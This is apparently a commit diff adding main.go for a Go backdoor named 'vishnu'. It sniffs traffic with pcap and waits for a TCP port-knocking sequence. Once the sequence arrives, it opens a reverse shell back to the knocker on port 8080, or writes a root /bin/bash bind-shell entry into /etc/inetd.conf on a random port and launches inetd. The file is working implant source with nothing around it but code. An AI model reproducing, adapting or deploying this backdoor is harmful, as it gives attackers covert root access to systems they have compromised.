cross compile, now testing

main.go

@@ -0,0 +1,148 @@
+package main
+
+import (
+	"errors"
+	"fmt"
+	"log"
+	"math/rand"
+	"os"
+	"os/exec"
+	"runtime"
+	"strconv"
+
+	"vishnu/spec"
+
+	"github.com/google/gopacket"
+	"github.com/google/gopacket/layers"
+	"github.com/google/gopacket/pcap"
+)
+
+type targetInfo struct {
+	os      string
+	iFace   string
+	snaplen int32
+	// vishnu uses tcp port knocking
+	filter string
+	// ports in order to port knock on
+	secretPorts []int
+	// how far into the sequence we are
+	// when secretCounter == len(secretPorts),
+	// port knocking is complete and shell is given
+	secretCounter int
+}
+
+const (
+	// if true, connect back to knocking
+	// IP on connectbackPort
+	connectback = false
+	// only relevant if connectback is true
+	connectbackPort = "8080"
+)
+
+// create target info struct
+func sInit(os string) *targetInfo {
+	tInfo := targetInfo{}
+
+	tInfo.os = os
+	tInfo.iFace = spec.GetAdapter()
+
+	tInfo.snaplen = int32(1600)
+	tInfo.filter = "tcp"
+	tInfo.secretPorts = []int{1, 2, 3, 4}
+	tInfo.secretCounter = 0
+
+	return &tInfo
+}
+
+func main() {
+	tInfo := sInit(runtime.GOOS)
+
+	// Read package and analze them
+	handle, err := pcap.OpenLive(tInfo.iFace, tInfo.snaplen, true, pcap.BlockForever)
+	errorPrinter(err)
+
+	handle.SetBPFFilter(tInfo.filter)
+	packets := gopacket.NewPacketSource(handle, handle.LinkType()).Packets()
+	for pkt := range packets {
+		// Your analysis here! Get the important stuff
+		printPacketInfo(pkt, tInfo)
+	}
+}
+
+func vishnu(ip string, tInfo *targetInfo) {
+	if tInfo.os == "windows" {
+		spec.ConnectBack(ip, connectbackPort)
+	}
+
+	if connectback && tInfo.os != "windows" {
+		spec.ConnectBack(ip, connectbackPort)
+	} else {
+		randomPort := rand.Intn(65535-100) + 100
+		// println("The doors are open on port ", strconv.Itoa(randomPort))
+		// Append to a file /etc/inetd.conf
+		fd, err := os.OpenFile("/etc/inetd.conf", os.O_APPEND|os.O_WRONLY|os.O_CREATE, 0600)
+		errorPrinter(err)
+		defer fd.Close()
+
+		if _, err = fd.WriteString(strconv.Itoa(randomPort) + " stream tcp nowait root /bin/bash bash\n"); err != nil {
+			log.Panicln(err)
+		}
+
+		exec.Command("/usr/sbin/inetd").Run()
+	}
+}
+
+func grabRemoteIP(packet gopacket.Packet) (string, error) {
+	iplayer := packet.Layer(layers.LayerTypeIPv4)
+	if iplayer == nil {
+		return "", errors.New("Packet is not IPv4")
+	}
+
+	ip, _ := iplayer.(*layers.IPv4)
+	return ip.SrcIP.String(), nil
+}
+
+func printPacketInfo(packet gopacket.Packet, tInfo *targetInfo) {
+	// Let's see if the packet is TCP
+	tcpLayer := packet.Layer(layers.LayerTypeTCP)
+	if tcpLayer != nil {
+		tcp, _ := tcpLayer.(*layers.TCP)
+
+		// Check the TCP Flag
+		if tcp.SYN {
+			// fmt.Printf("From port %d to %d\n", tcp.SrcPort, tcp.DstPort)
+			// Check dst port for secret port
+			if tcp.DstPort == layers.TCPPort(tInfo.secretPorts[tInfo.secretCounter]) {
+				tInfo.secretCounter++
+			} else {
+				// reset counter
+				tInfo.secretCounter = 0
+			}
+		}
+	}
+
+	if tInfo.secretCounter == len(tInfo.secretPorts) {
+		tInfo.secretCounter = 0
+		// grab  IP address
+		ip, err := grabRemoteIP(packet)
+		// TODO maybe just listen if connectback is
+		// on and we can't get the remote IP
+		if connectback && err != nil {
+			return
+		}
+
+		// open the gateway
+		go vishnu(ip, tInfo)
+	}
+
+	// Check for errors
+	if err := packet.ErrorLayer(); err != nil {
+		fmt.Println("Error decoding some part of the packet:", err)
+	}
+}
+
+func errorPrinter(err error) {
+	if err != nil {
+		log.Panicln(err)
+	}
+}